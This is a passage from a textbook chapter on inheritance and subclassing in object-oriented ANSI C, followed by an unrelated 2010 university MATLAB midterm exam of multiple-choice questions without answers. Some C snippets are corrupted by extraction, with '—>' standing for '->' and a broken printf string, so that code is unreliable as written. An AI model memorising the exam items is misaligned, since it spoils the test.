Access and modification functions are statically linked methods. If we declare them in the representation file for the superclass, which is only included in the implementations of subclasses, we can use macros, because side effects are no problem if a macro uses each argument only once. As an example, in `Point.r` we define the following access macros:
```c
#define x(p) (((const struct Point *)(p)) -> x)
#define y(p) (((const struct Point *)(p)) -> y)
```
These macros can be applied to a pointer to any object that starts with a `struct Point`, i.e., to objects from any subclass of our points. The technique is to up-cast the pointer into our superclass and reference the interesting component there. `const` in the cast blocks assignments to the result. If `const` were omitted
```c
#define x(p) (((struct Point *)(p)) -> x)
```
a macro call `x(p)` produces an l-value which can be the target of an assignment. A better modification function would be the macro definition
```c
#define set_x(p,v) (((struct Point *)(p)) -> x = (v))
```
which produces an assignment.
Outside the implementation of a subclass we can only use statically linked methods for access and modification functions. We cannot resort to macros because the internal representation of the superclass is not available for the macros to reference. Information hiding is accomplished by not providing the representation file `Point.r` for inclusion into an application.
The macro definitions demonstrate, however, that as soon as the representation of a class is available, information hiding can be quite easily defeated. Here is a way to conceal `struct Point` much better. Inside the superclass implementation we use the normal definition:
```c
struct Point {
const void * class;
int x, y; /* coordinates */
};
```
For subclass implementations we provide the following opaque version:
```c
struct Point {
const char _ [ sizeof( struct {
const void * class;
int x, y; /* coordinates */
}));
};
```
This structure has the same size as before, but we can neither read nor write the components because they are hidden in an anonymous interior structure. The catch is that both declarations must contain identical component declarations and this is difficult to maintain without a preprocessor.
---
* In ANSI-C, a parametrized macro is only expanded if the macro name appears before a left parenthesis. Elsewhere, the macro name behaves like any other identifier.
4.7 Subclass Implementation — Circle
We are ready to write the complete implementation of circles, where we can choose whatever techniques of the previous sections we like best. Object-orientation prescribes that we need a constructor, possibly a destructor, Circle_draw(), and a type description Circle to tie it all together. In order to exercise our methods, we include Circle.h and add the following lines to the switch in the test program in section 4.1:
```c
case 'c':
p = new(Circle, 1, 2, 3);
break;
```
Now we can observe the following behavior of the test program:
```
$ circles p c
"." at 1,2
"." at 11,22
circle at 1,2 rad 3
circle at 11,22 rad 3
```
The circle constructor receives three arguments: first the coordinates of the circle’s point and then the radius. Initializing the point part is the job of the point constructor. It consumes part of the argument list of new(). The circle constructor is left with the remaining argument list from which it initializes the radius.
A subclass constructor should first let the superclass constructor do that part of the initialization which turns plain memory into the superclass object. Once the superclass constructor is done, the subclass constructor completes initialization and turns the superclass object into a subclass object.
For circles this means that we need to call Point_ctor(). Like all dynamically linked methods, this function is declared static and thus hidden inside Point.c. However, we can still get to the function by means of the type descriptor Point which is available in Circle.c:
```c
static void * Circle_ctor (void * _self, va_list * app)
{
struct Circle * self =
((const struct Class *) Point) -> ctor(_self, app);
self -> rad = va_arg(* app, int);
return self;
}
```
It should now be clear why we pass the address app of the argument list pointer to each constructor and not the va_list value itself: new() calls the subclass constructor, which calls its superclass constructor, and so on. The supermost constructor is the first one to actually do something, and it gets first pick at the left end of the argument list passed to new(). The remaining arguments are available to the next subclass and so on until the last, rightmost arguments are consumed by the final subclass, i.e., by the constructor directly called by new().
Destruction is best arranged in the exact opposite order: delete() calls the subclass destructor. It should destroy its own resources and then call its direct superclass destructor which can destroy the next set of resources and so on. Construc-
Inheritance — Code Reuse and Refinement
Inheritance happens superclass before subclass, destruction happens in reverse, subclass before superclass, circle part before point part. Here, however, nothing needs to be done.
We have worked on Circle_draw() before. We use visible components and code the representation file Point.r as follows:
```c
struct Point {
const void * class;
int x, y; /* coordinates */
};
#define x(p) (((const struct Point *)(p)) —> x)
#define y(p) (((const struct Point *)(p)) —> y)
```
Now we can use the access macros for Circle_draw():
```c
static void Circle_draw (const void * _self)
{
const struct Circle * self = _self;
printf("circle at %d,%d rad %d
",
x(self), y(self), self —> rad);
}
```
move() has static linkage and is inherited from the implementation of points. We conclude the implementation of circles by defining the type description which is the only globally visible part of Circle.c:
```c
static const struct Class _Circle = {
sizeof(struct Circle), Circle_ctor, 0, Circle_draw
};
const void * Circle = & _Circle;
```
While it looks like we have a viable strategy of distributing the program text implementing a class among the interface, representation, and implementation file, the example of points and circles has not exhibited one problem: if a dynamically linked method such as Point_draw() is not overwritten in the subclass, the subclass type descriptor needs to point to the function implemented in the superclass. The function name, however, is defined static there, so that the selector cannot be circumvented. We shall see a clean solution to this problem in chapter 6. As a stopgap measure, we would avoid the use of static in this case, declare the function header only in the subclass implementation file, and use the function name to initialize the type description for the subclass.
4.8 Summary
The objects of a superclass and a subclass are similar but not identical in behavior. Subclass objects normally have a more elaborate state and more methods — they are specialized versions of the superclass objects.
We start the representation of a subclass object with a copy of the representation of a superclass object, i.e., a subclass object is represented by adding components to the end of a superclass object.
A subclass inherits the methods of a superclass: because the beginning of a subclass object looks just like a superclass object, we can up-cast and view a pointer to a subclass object as a pointer to a superclass object which we can pass to a superclass method. To avoid explicit conversions, we declare all method parameters with `void *` as generic pointers.
Inheritance can be viewed as a rudimentary form of polymorphism: a superclass method accepts objects of different types, namely objects of its own class and of all subclasses. However, because the objects all pose as superclass objects, the method only acts on the superclass part of each object, and it would, therefore, not act differently on objects from different classes.
Dynamically linked methods can be inherited from a superclass or overwritten in a subclass — this is determined for the subclass by whatever function pointers are entered into the type description. Therefore, if a dynamically linked method is called for an object, we always reach the method belonging to the object’s true class even if the pointer was up-casted to some superclass. If a dynamically linked method is inherited, it can only act on the superclass part of a subclass object, because it does not know of the existence of the subclass. If a method is overwritten, the subclass version can access the entire object, and it can even call its corresponding superclass method through explicit use of the superclass type description.
In particular, constructors should call superclass constructors back to the ultimate ancestor so that each subclass constructor only deals with its own class’ extensions to its superclass representation. Each subclass destructor should remove the subclass’ resources and then call the superclass destructor and so on to the ultimate ancestor. Construction happens from the ancestor to the final subclass, destruction takes place in the opposite order.
Our strategy has a glitch: in general we should not call dynamically linked methods from a constructor because the object may not be initialized completely. `new()` inserts the final type description into an object before the constructor is called. Therefore, if a constructor calls a dynamically linked method for an object, it will not necessarily reach the method in the same class as the constructor. The safe technique would be for the constructor to call the method by its internal name in the same class, i.e., for points to call `Points_draw()` rather then `draw()`.
To encourage information hiding, we implement a class with three files. The interface file contains the abstract data type description, the representation file contains the structure of an object, and the implementation file contains the code of the methods and initializes the type description. An interface file includes the superclass interface file and is included for the implementation as well as any application. A representation file includes the superclass representation file and is only included for the implementation.
Components of a superclass should not be referenced directly in a subclass. Instead, we can either provide statically linked access and possibly modification methods for each component, or we can add suitable macros to the representation file of the superclass. Functional notation makes it much simpler to use a text edi-
tor or a debugger to scan for possible information leakage or corruption of invariants.
4.9 Is It or Has It? — Inheritance vs. Aggregates
Our representation of a circle contains the representation of a point as the first component of `struct Circle`:
```c
struct Circle { const struct Point _; int rad; };
```
However, we have voluntarily decided not to access this component directly. Instead, when we want to inherit we cast up from `Circle` back to `Point` and deal with the initial `struct Point` there.
There is another way to represent a circle: it can contain a point as an aggregate. We can handle objects only through pointers; therefore, this representation of a circle would look about as follows:
```c
struct Circle2 { struct Point * point; int rad; };
```
This circle does not look like a point anymore, i.e., it cannot inherit from `Point` and reuse its methods. It can, however, apply point methods to its point component; it just cannot apply point methods to itself.
If a language has explicit syntax for inheritance, the distinction becomes more apparent. Similar representations could look as follows in C++:
```cpp
struct Circle : Point { int rad; }; // inheritance
struct Circle2 {
struct Point point; int rad; // aggregate
};
```
In C++ we do not necessarily have to access objects only as pointers.
Inheritance, i.e., making a subclass from a superclass, and aggregates, i.e., including an object as component of some other object, provide very similar functionality. Which approach to use in a particular design can often be decided by the is-it-or-has-it? test: if an object of a new class is just like an object of some other class, we should use inheritance to implement the new class; if an object of a new class has an object of some other class as part of its state, we should build an aggregate.
As far as our points are concerned, a circle is just a big point, which is why we used inheritance to make circles. A rectangle is an ambiguous example: we can describe it through a reference point and the side lengths, or we can use the endpoints of a diagonal or even three corners. Only with a reference point is a rectangle some sort of fancy point; the other representations lead to aggregates. In our arithmetic expressions we could have used inheritance to get from a unary to a binary operator node, but that would substantially violate the test.
4.10 Multiple Inheritance
Because we are using plain ANSI-C, we cannot hide the fact that inheritance means including a structure at the beginning of another. Up-casting is the key to reusing a
superclass method on objects of a subclass. Up-casting from a circle back to a point is done by casting the address of the beginning of the structure; the value of the address does not change.
If we include two or even more structures in some other structure, and if we are willing to do some address manipulations during up-casting, we could call the result multiple inheritance: an object can behave as if it belonged to several other classes. The advantage appears to be that we do not have to design inheritance relationships very carefully — we can quickly throw classes together and inherit whatever seems desirable. The drawback is, obviously, that there have to be address manipulations during up-casting before we can reuse methods of the superclasses.
Things can actually get quite confusing very quickly. Consider a text and a rectangle, each with an inherited reference point. We can throw them together into a button — the only question is if the button should inherit one or two reference points. C++ permits either approach with rather fancy footwork during construction and up-casting.
Our approach of doing everything in ANSI-C has a significant advantage: it does not obscure the fact that inheritance — multiple or otherwise — always happens by inclusion. Inclusion, however, can also be accomplished as an aggregate. It is not at all clear that multiple inheritance does more for the programmer than complicate the language definition and increase the implementation overhead. We will keep things simple and continue with simple inheritance only. Chapter 14 will show that one of the principal uses of multiple inheritance, library merging, can often be realized with aggregates and message forwarding.
4.11 Exercises
Graphics programming offers a lot of opportunities for inheritance: a point and a side length defines a square; a point and a pair of offsets defines a rectangle, a line segment, or an ellipse; a point and an array of offset pairs defines a polygon or even a spline. Before we proceed to all of these classes, we can make smarter points by adding a text, together with a relative position, or by introducing color or other viewing attributes.
Giving move() dynamic linkage is difficult but perhaps interesting: locked objects could decide to keep their point of reference fixed and move only their text portion.
Inheritance can be found in many more areas: sets, bags, and other collections such as lists, stacks, queues, etc. are a family of related data types; strings, atoms, and variables with a name and a value are another family.
Superclasses can be used to package algorithms. If we assume the existence of dynamically linked methods to compare and swap elements of a collection of objects based on some positive index, we can implement a superclass containing a sorting algorithm. Subclasses need to implement comparison and swapping of their objects in some array, but they inherit the ability to be sorted.
|
{"Source-Url": "https://www.cs.rit.edu/~ats/oop-2001-2/pdf/4.pdf", "len_cl100k_base": 6879, "olmocr-version": "0.1.49", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 29324, "total-output-tokens": 7538, "length": "2e12", "weborganizer": {"__label__adult": 0.0004684925079345703, "__label__art_design": 0.0003306865692138672, "__label__crime_law": 0.0002818107604980469, "__label__education_jobs": 0.00047087669372558594, "__label__entertainment": 4.905462265014648e-05, "__label__fashion_beauty": 0.00016546249389648438, "__label__finance_business": 0.00011467933654785156, "__label__food_dining": 0.0004401206970214844, "__label__games": 0.0006437301635742188, "__label__hardware": 0.0008854866027832031, "__label__health": 0.0003285408020019531, "__label__history": 0.00019359588623046875, "__label__home_hobbies": 9.524822235107422e-05, "__label__industrial": 0.00033593177795410156, "__label__literature": 0.00021564960479736328, "__label__politics": 0.0002290010452270508, "__label__religion": 0.0005230903625488281, "__label__science_tech": 0.0018358230590820312, "__label__social_life": 7.331371307373047e-05, "__label__software": 0.002216339111328125, "__label__software_dev": 0.98876953125, "__label__sports_fitness": 0.00034165382385253906, "__label__transportation": 0.0005478858947753906, "__label__travel": 0.00022542476654052737}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31983, 0.01202]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31983, 0.68099]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31983, 0.89579]], "google_gemma-3-12b-it_contains_pii": [[0, 1480, false], [1480, 3491, null], [3491, 5148, null], [5148, 7648, null], [7648, 10153, null], [10153, 12960, null], [12960, 15619, null], [15619, 18091, null], [18091, 20733, null], [20733, 23055, null], [23055, 26421, null], [26421, 29020, null], [29020, 31983, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1480, true], [1480, 3491, null], [3491, 5148, null], [5148, 7648, null], [7648, 10153, null], [10153, 12960, null], [12960, 15619, null], [15619, 18091, null], [18091, 20733, null], [20733, 23055, null], [23055, 26421, null], [26421, 29020, null], [29020, 31983, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31983, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31983, null]], "pdf_page_numbers": [[0, 1480, 1], [1480, 3491, 2], [3491, 5148, 3], [5148, 7648, 4], [7648, 10153, 5], [10153, 12960, 6], [12960, 15619, 7], [15619, 18091, 8], [18091, 20733, 9], [20733, 23055, 10], [23055, 26421, 11], [26421, 29020, 12], [29020, 31983, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31983, 0.04281]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
a8e6a8d7ea85123b68d68095c2a7cf6361021a9d
|
UNIVERSITY OF CALIFORNIA
COLLEGE OF ENGINEERING
E7: INTRODUCTION TO COMPUTER PROGRAMMING
FOR SCIENTISTS AND ENGINEERS
Professor Raja Sengupta
Spring 2010
First Midterm Exam—March 3, 2010
[37 points ~ 45 minutes]
<table>
<thead>
<tr>
<th>Question</th>
<th>Points</th>
</tr>
</thead>
<tbody>
<tr>
<td>Part I</td>
<td>9</td>
</tr>
<tr>
<td>Part II</td>
<td>8</td>
</tr>
<tr>
<td>Part III</td>
<td>11</td>
</tr>
<tr>
<td>Part IV</td>
<td>9</td>
</tr>
<tr>
<td>TOTAL</td>
<td>37</td>
</tr>
</tbody>
</table>
Notes:
1. Your exam should have 16 pages. Check this before you begin.
2. You may use a calculator, your notes, and the textbook on this examination as necessary provided that you do not impede those sitting next to you. No electronic devices are permitted.
3. Use a #2 pencil and green scantron sheet to record your answers. Bubble in your solution to each question on the corresponding space on your scantron. There is one correct answer for each question. Multiple bubbles, incomplete bubbles, or stray marks will cause your solution to be marked incorrect.
4. Please write your name, student ID number, and discussion section on your scantron for identification purposes.
5. You may NOT leave the exam room before the exam ends.
Part I:
Questions 1 – 3: General Matlab operators
1. (1 point) The semicolon operator (;) in Matlab is essential to:
a. Writing a recursive definition
b. Programming an if-else statement
c. Programming a sequence of statements on the same line
d. None of the above
2. (1 point) The colon operator (:) and the linspace command in Matlab can create the same arrays. Select the true statement below: Typing >> [1:1:5; linspace(1,2,5)]
a. generates a 2 x 5 matrix
b. generates a 2 x 4 matrix
c. generates a 2 x 2 matrix
d. generates a 1 x 1 matrix
3. (1 point) Typing >> y=1; x=2; y=x+1 assigns y to which value?
a. 1
b. 3
c. 2
d. none of the above
Questions 4 – 8: Matrix Operations
The following questions refer to the following matrices:
\[
A = \begin{bmatrix} 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \end{bmatrix}, \quad B = \begin{bmatrix} 1 & 2 & 3 \\ 4 & 5 & 6 \end{bmatrix}
\]
4. (1 point) True or False: C = A*B is a defined value
a. True
b. False
5. (1 point) Typing >> x = length(B(1,:)) assigns x to which value?
a. 3
b. 0
c. 1
d. No value. There is a matlab error.
6. (1 point) Typing >> C = A .* A assigns C(2,3) to which value?
a. 96
b. 36
c. 25
d. A .* A is an invalid Matlab command
7. Typing the command \texttt{>>A(1,2) = B(1,3)} assigns \( A \) to which value?
a. 0
b. \[
\begin{bmatrix}
1 & 2 & 2 \\
4 & 5 & 6 \\
1 & 3 & 3 \\
\end{bmatrix}
\]
c. \[
\begin{bmatrix}
4 & 5 & 6 \\
7 & 8 & 9 \\
\end{bmatrix}
\]
d. Produces a matlab error
8. (1 point) Typing \texttt{>>y = size(B)} assigns \( y \) to which value?
a. \[
\begin{bmatrix}
2 & 3 \\
\end{bmatrix}
\]
b. 3
c. 0
d. 2
9. (1 point) Which of the following will compute correctly?
a. \texttt{>>A*B}
b. \texttt{>>A.*B}
c. \texttt{>>H = [A B]}
d. \texttt{>>H = [A B']}
Part II:
Questions 10-13: Logical Operators
Consider the following two programs in files myprogram1.m and myprogram2.m respectively:
<table>
<thead>
<tr>
<th>function [y] = myProgram1(x)</th>
<th>function [y] = myProgram2(x)</th>
</tr>
</thead>
<tbody>
<tr>
<td>if x>4</td>
<td>if gt(x,4)</td>
</tr>
<tr>
<td>y=x+2;</td>
<td>y=x+2;</td>
</tr>
<tr>
<td>elseif x<=3</td>
<td>elseif gt(x,3)</td>
</tr>
<tr>
<td>y=x/2;</td>
<td>y=x;</td>
</tr>
<tr>
<td>elseif x>3 & x<=4</td>
<td>else</td>
</tr>
<tr>
<td>y=x;</td>
<td>y=x/2;</td>
</tr>
<tr>
<td>end</td>
<td>end</td>
</tr>
</tbody>
</table>
10. (1 point) The command `>> y = myProgram1(3.5)` will assign y to the value
a. 5.5
b. 1.75
c. 3.5
d. none of the above
11. (1 point) The command `>> z = myProgram2(3.5)` will assign z to the value
a. 5.5
b. 1.75
c. 3.5
d. none of the above
12. (1 point) The programs myProgram1.m and myProgram2.m
a. denote the same mathematical function
b. each denote a function but the two functions are different
c. do not both denote a function. Only myProgram1 denotes a function
d. none of the above
13. (1 point) Which of the following can be a type for myProgram1?
a. double → char
b. double → double
c. char → char
d. double → logical
Questions 14-17: If-else statements
Suppose you are a construction engineer and you are performing a retrofit of a building. The owner of the facility has asked you to calculate the potential cost savings from changing the existing light bulbs to different types. The types of light bulbs being considered are incandescent, LED, and CFL. LED has the highest initial cost, but the long-term cost is the least due to lower energy consumption, while incandescent has the lowest initial cost, but the highest long-term cost. CFL is in between.
Consider the following function, where the inputs are the hours the bulb is expected to be used, the current style of bulb, which is input in the form ('INC', 'CFL', 'LED'), and the proposed retrofit alternative.
```matlab
function cost_diff = BulbReplacement(hours, curr_bulb, new_bulb)
%BulbReplacement calculates the cost savings of switching out a bulb of type
%curr_bulb and replacing it with a bulb of type new_bulb. Hours designates
%the amount of time the light will be used. Positive outputs represent
%savings and negative represent costs.
if eq(curr_bulb, new_bulb)
cost_diff = 'no cost difference, you have not changed anything';
elseif curr_bulb == 'INC'
if new_bulb == 'CFL'
cost_diff = 0.012*hours - (3 + 0.003*hours);
elseif new_bulb == 'LED'
cost_diff = 0.012*hours - (11 + 0.002*hours);
else
cost_diff = 'Enter a valid bulb type';
end
elseif curr_bulb == 'CFL'
if new_bulb == 'INC'
cost_diff = 0.003*hours - (1 + 0.012*hours);
elseif new_bulb == 'LED'
cost_diff = 0.003*hours - (11 + 0.002*hours);
else
cost_diff = 'Enter a valid bulb type';
end
elseif curr_bulb == 'LED'
if new_bulb == 'INC'
cost_diff = 0.002*hours - (1 + 0.012*hours);
elseif new_bulb == 'CFL'
cost_diff = 0.002*hours - (3 + 0.003*hours);
else
cost_diff = 'Enter a valid bulb type';
end
else
cost_diff = 'Enter a valid bulb type';
end
end
```
14. (1 point) Which line number in the file BulbReplacement.m will determine the value of the variable cost_diff in response to the command \( \texttt{>>BulbReplacement(1500, 'CFL ','LED')} \)?
a. 14
b. 23
c. 25
d. None of the above
15. (1 point) Which line number in the file BulbReplacement.m will determine the value of the variable cost_diff in response to the command \( \texttt{>>BulbReplacement(1500, 'ABC ','LED')} \)?
a. 1
b. 12
c. 23
d. none of the above
16. (1 point) Which line number in the file BulbReplacement.m will determine the value of the variable cost_diff in response to the command \( \texttt{>>BulbReplacement(15, 'LED ','ABC')} \)?
a. 34
b. 23
c. 1
d. none of the above
17. (1 point) The program BulbReplacement.m has type
a. double x char x char \( \rightarrow \) double \( \cup \) char
b. double x char \( \rightarrow \) double x char
c. double x char x char \( \rightarrow \) char
d. none of the above
Part III:
Questions 18-28: Functions, Nested Functions, Scope, Type
18. (1 point) The contents of myFunc3.m are as follows:
```matlab
function y = myFunc3 (x)
x = 3;
y = x+2;
end
```
The value of x in the workspace after `>> x = 30; y =myFunc3(x)` is:
- a. 3
- b. 30
- c. 32
- d. No value. There will be a Matlab error.
19. (1 point) The value of y in the workspace after `>> x=3; y=3; y=myFunc3(x)` is:
- a. 5
- b. 0
- c. 3
- d. No value. There will be a Matlab error.
20. (1 point) The contents of myFunc1.m are as follows
```matlab
function x = myFunc1 (x)
x=x;
end
```
The program `myFunc1.m`:
- a. Denotes the identity function f(x) = x
- b. Denotes the Matlab value NaN
- c. Denotes nothing because this program will not execute
- d. None of the above
21. (1 point) The contents of myFunc2.m are as follows:
```matlab
function y = myFunc2 (x)
x=2;
y = x^2;
disp(x)
end
```
The final value assigned to x in the workspace by `>> x = 3; x = myFunc2 (x)` is:
a. 3
b. 9
c. 4
d. No value. There will be a Matlab error.
22. (1 point) The value of x in the workspace after `>>x=3; clear; x=myFunc2(3);x` will be:
a. 4
b. 3
c. 2
d. None of the above because this program will produce a matlab error
23 (1 points) The program file myFunc4.m is partially as follows:
```matlab
function y = myFunc4 (x)
y = x + gunc1(x);
end
x= y*2;
end
```
Select which of these should fill in the blank so that myFunc4 will compute correctly regardless of the presence or absence of any other user programmed functions present in the matlab working directory.
a. function x = gunc1(y)
b. y= 2;
c. function gunc1(y)
d. none of the above
*Use the following code for problems 24-26:*
The following are the contents of f.m, g.m, and h.m. They are all in the working matlab directory.
```matlab
function y = f(x)
y = x + g(x) + h(x);
end
function y = g(x)
y = x*h(x);
end
function y = h(x)
y = x;
end
```
24. (1 point) The value of x in the workspace after >> x= 2; x=g (h (x) ) is:
a. 2
b. 4
c. 8
d. 12
25. (1 point) The value of x in the workspace after >> x=2; x = f(g(h(x))) is
a. 4
b. 8
c. 12
d. 24
26. (1 point) The value of x in the workspace after >> x=2; x = h(g(x)) is
a. 2
b. 3
c. 4
d. none of the above because this program will produce an error.
27. (1 point) If func has type A → B and gunc has type C → D, then the program
function y = hunc(x)
y = gunc(func(x))
end
has type A → D provided
A) C ⊆ B B) B ⊆ C C) A = ∅ D) A = C B
28. (1 point) A type for the and operator in matlab is
a. double → double
b. double x double → char
c. double x double → double
d. logical x logical → logical
Page IV:
Questions 29-32: Recursion
The following is a recursive Matlab function.
```matlab
function [out] = midtermRec(n)
if le(n,2)
out = 1
elseif eq(n,3)
out = 2
else
out = midtermRec(n-1) + midtermRec(n-3)
end
end
```
29. (1 point) What will be value assigned to `out` by the command `>> out = midtermRec(1)`?
a. 0
b. 1
c. 2
d. 3
30. (1 point) What will be the value assigned to `out` by the command `>> out = midtermRec(4)`?
a. 2
b. 3
c. 4
d. 6
31. (1 points) Notice there are no semicolons at the end of any lines in `midtermRec.m`. This means that as soon as any line is run, it will display the result of that line at the Matlab command prompt.
What will be the sequence of numbers displayed to the screen when the following command is typed into the command prompt? Space is provided below for you to do a function trace if you wish.
```matlab
>> midtermRec(5);
```
a. 1, 2, 1, 3, 5
b. 5, 1, 3, 1, 2
c. 4, 2, 1, 3, 1
d. 2, 1, 3, 1, 4
e. 1, 2, 1, 3, 4
32. (1 point) Which of the following Matlab functions will compute $y$ defined as follows? Assume $n \in \text{Naturals}$:
$$y(n) = n^2 + (n - 1)^2 + (n - 2)^2 + \ldots + 2^2 + 1$$
a. function $y = myFunc(n)$
if $n == 1$
$y = 1$;
else
$y = myFunc(n-1)$;
end
end
b. function $y = myFunc(n)$
if $n == 1$
$y = 0$;
else
$y = myFunc(n) + n^2$;
end
end
c. function $y = myFunc(n)$
if $n == 1$
$y = 1$;
else
$y = myFunc(n-1) + n^2$;
end
end
d. function $y = myFunc(n)$
if $n == 1$;
$y = 1$;
else
$y = myFunc(n+1) + n^2$;
end
end
Questions 33-37: Iteration
Assume that `isprime` is a Matlab function that takes in a positive whole number, \( n \), and returns 1 if that number is prime and 0 otherwise.
Now consider the following set of commands and the matrix \( A \):
\[
A = \begin{bmatrix}
4 & 8 & 12 \\
5 & 11 & 3 \\
8 & 2 & 4 \\
\end{bmatrix}
\]
function \( \text{out} = \text{myPrime}(\text{matrix}) \)
\[
[\text{rows,columns}] = \text{size}(\text{matrix});
\]
\[
\text{out} = 0;
\]
\[
\text{for } i = 1:\text{rows}
\]
\[
\quad \text{for } j = 1:\text{columns}
\]
\[
\quad \quad \text{if } \text{isprime}(\text{matrix}(i,j))
\]
\[
\quad \quad \quad \text{out} = \text{out} + \text{matrix}(i,j);
\]
\[
\quad \text{end}
\]
\[
\text{end}
\]
\[
\text{end}
\]
\[
\text{end}
\]
33. (1 point) What value will be assigned to the variable `out` by `>> out = myPrime(A)`?
a. 38
b. 21
c. 4
d. none of the above
34. (1 point) What value will be assigned to the variable `out` by `>> out = myPrime(A([1 2],:))`?
a. 24
b. 0
c. 19
d. 20
35. (1 point) What value will be assigned to the variable `out` by
`>>out = myPrime(A(1,1))`?
a. 0
b. 1
c. 9
d. none of the above
Consider the following program:
```matlab
function out = g(in)
n = 1;
out = 1;
while n < in
out = out + n;
n = n + 1;
end
end
```
36. (1 point) What value will be assigned to the variable `out` by `>> out = g(5)`?
a. 5
b. 10
c. 11
d. 15
e. 16
37. (1 point) What value will be assigned to the variable `out` by `>> out = g(3)`?
a. 1
b. 3
c. 4
d. 6
e. 7
|
{"Source-Url": "https://tbp.berkeley.edu/exams/1547/download/", "len_cl100k_base": 4646, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 30426, "total-output-tokens": 5484, "length": "2e12", "weborganizer": {"__label__adult": 0.0006289482116699219, "__label__art_design": 0.0014524459838867188, "__label__crime_law": 0.0009355545043945312, "__label__education_jobs": 0.328857421875, "__label__entertainment": 0.0002963542938232422, "__label__fashion_beauty": 0.0004825592041015625, "__label__finance_business": 0.0012235641479492188, "__label__food_dining": 0.00110626220703125, "__label__games": 0.0022735595703125, "__label__hardware": 0.004611968994140625, "__label__health": 0.0014104843139648438, "__label__history": 0.001064300537109375, "__label__home_hobbies": 0.0008635520935058594, "__label__industrial": 0.0020809173583984375, "__label__literature": 0.0007920265197753906, "__label__politics": 0.0006866455078125, "__label__religion": 0.00099945068359375, "__label__science_tech": 0.1895751953125, "__label__social_life": 0.0006117820739746094, "__label__software": 0.0225677490234375, "__label__software_dev": 0.43408203125, "__label__sports_fitness": 0.0011138916015625, "__label__transportation": 0.0015735626220703125, "__label__travel": 0.0005741119384765625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 13396, 0.06508]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 13396, 0.5362]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 13396, 0.69921]], "google_gemma-3-12b-it_contains_pii": [[0, 1103, false], [1103, 2371, null], [2371, 2994, null], [2994, 4398, null], [4398, 6531, null], [6531, 7492, null], [7492, 8280, null], [8280, 8735, null], [8735, 9527, null], [9527, 10187, null], [10187, 10678, null], [10678, 11199, null], [11199, 11810, null], [11810, 12835, null], [12835, 12980, null], [12980, 13396, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1103, true], [1103, 2371, null], [2371, 2994, null], [2994, 4398, null], [4398, 6531, null], [6531, 7492, null], [7492, 8280, null], [8280, 8735, null], [8735, 9527, null], [9527, 10187, null], [10187, 10678, null], [10678, 11199, null], [11199, 11810, null], [11810, 12835, null], [12835, 12980, null], [12980, 13396, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, true], [5000, 13396, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 13396, null]], "pdf_page_numbers": [[0, 1103, 1], [1103, 2371, 2], [2371, 2994, 3], [2994, 4398, 4], [4398, 6531, 5], [6531, 7492, 6], [7492, 8280, 7], [8280, 8735, 8], [8735, 9527, 9], [9527, 10187, 10], [10187, 10678, 11], [10678, 11199, 12], [11199, 11810, 13], [11810, 12835, 14], [12835, 12980, 15], [12980, 13396, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 13396, 0.03791]]}
|
olmocr_science_pdfs
|
2024-12-12
|
2024-12-12
|
8306fe9238420c861991faf0f68b9b0a6315a4dd
|
[REMOVED]
|
